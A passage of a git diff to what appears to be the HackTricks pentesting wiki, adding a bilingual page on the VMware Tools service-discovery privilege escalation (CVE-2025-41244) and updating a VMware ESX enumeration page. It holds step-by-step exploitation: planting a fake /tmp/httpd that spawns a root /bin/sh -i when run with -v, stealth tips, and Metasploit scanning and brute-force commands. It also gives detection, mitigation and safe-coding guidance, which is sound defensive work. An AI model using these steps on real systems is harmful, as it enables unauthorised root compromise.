(open-vm-tools) + +In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +它以包含 \S (non-whitespace) 的宽松模式被调用,这些模式会轻易匹配位于用户可写位置的非系统路径: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- 提取使用 grep -Eo 并取第一个标记:${COMMAND%%[[:space:]]*} +- 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的已发现监听器都会以 -v/--version 被执行 + +This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. + +## 利用(包括无凭证和基于凭证的模式) + +先决条件 +- 你可以在客户机上运行一个非特权进程,该进程打开一个监听套接字。 +- 发现任务已启用并定期运行(历史上约每 5 分钟)。 + +步骤 +1) 将二进制文件放置到匹配某个宽松正则 (permissive regexes) 的路径中,例如 /tmp/httpd 或 ./nginx +2) 以低权限用户运行它,并确保它打开了某个监听套接字 +3) 等待发现周期;特权收集器会自动执行:/tmp/httpd -v(或类似),以 root 身份运行你的程序 + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +典型进程谱系 +- 基于凭证: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- 无凭证: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +工件 (基于凭证) +恢复的 SDMP wrapper scripts 位于 /tmp/VMware-SDMP-Scripts-{UUID}/,可能显示对恶意路径的直接执行: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +许多 agents 和监控套件通过以下方式实现版本/服务发现: +- 枚举具有监听套接字的进程 +- 在 argv/命令行上使用宽松的正则进行匹配(例如包含 \S 的模式) +- 使用无害的标志执行匹配到的路径,例如 -v、--version、-V、-h + +如果正则接受不受信任的路径且该路径在特权上下文中被执行,就会导致 CWE-426 Untrusted Search Path 执行。 + +Abuse recipe +- 将你的二进制命名为正则很可能匹配的常见 daemon:httpd、nginx、mysqld、dataserver +- 将其放置在可写目录:/tmp/httpd、./nginx +- 确保它能匹配正则并打开任意端口以供枚举 +- 等待计划的采集器;你会获得自动的特权调用 -v + +Masquerading note: 这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用以提高匹配概率并增加隐蔽性。 + +Reusable privileged I/O relay trick +- 构建你的 helper,使得在特权调用(-v/--version)时,它连接到一个已知的 rendezvous(例如 Linux 抽象 UNIX socket 如 @cve)并将 stdio 桥接到 /bin/sh -i。这样避免了磁盘上的痕迹,并在许多环境中有效,其中同一个二进制会被带标志再次调用。 + +## Detection and DFIR guidance + +Hunting queries +- vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd、./nginx、/tmp/mysqld +- 任何由发现脚本执行的非系统绝对路径(查看 ${COMMAND%%...} 展开中是否有空格) +- 使用 ps -ef --forest 可视化血统树:vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 中的临时脚本和 stdout/stderr 产物,查找显示执行攻击者路径的痕迹 + +Policy/telemetry +- 当特权采集器从非系统前缀执行时发出告警:^/(tmp|home|var/tmp|dev/shm)/ +- 对 get-versions.sh 和 VMware Tools 插件做文件完整性监控 + +## Mitigations + +- Patch:为 CVE-2025-41244(Tools 和 Aria Operations SDMP)应用 Broadcom/VMware 更新 +- 在可行时禁用或限制 credential-less discovery +- 验证受信任路径:将执行限制在允许列表目录 (/usr/sbin、/usr/bin、/sbin、/bin) 且仅限精确已知的二进制 +- 避免使用包含 \S 的宽松正则;优先使用锚定的、明确的绝对路径和精确命令名 +- 在可能时为发现 helper 降低权限;使用沙箱(seccomp/AppArmor)以减少影响 +- 监控并对 vmtoolsd/get-versions.sh 执行非系统路径发出告警 + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## 参考资料 + +- [NVISO – 你说什么,VMware 就提升它 (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom 针对 CVE-2025-41244 的安全通告](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index cfc2088d1..7700861bb 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,13 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# 枚举 + +## Enumeration ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# 暴力破解 +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -如果您找到有效的凭据,可以使用更多的metasploit扫描模块来获取信息。 +如果找到有效的凭据,可以使用更多 metasploit 扫描模块来获取信息。 + +### 另请参阅 + +Linux LPE 通过 VMware Tools 服务发现 (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}}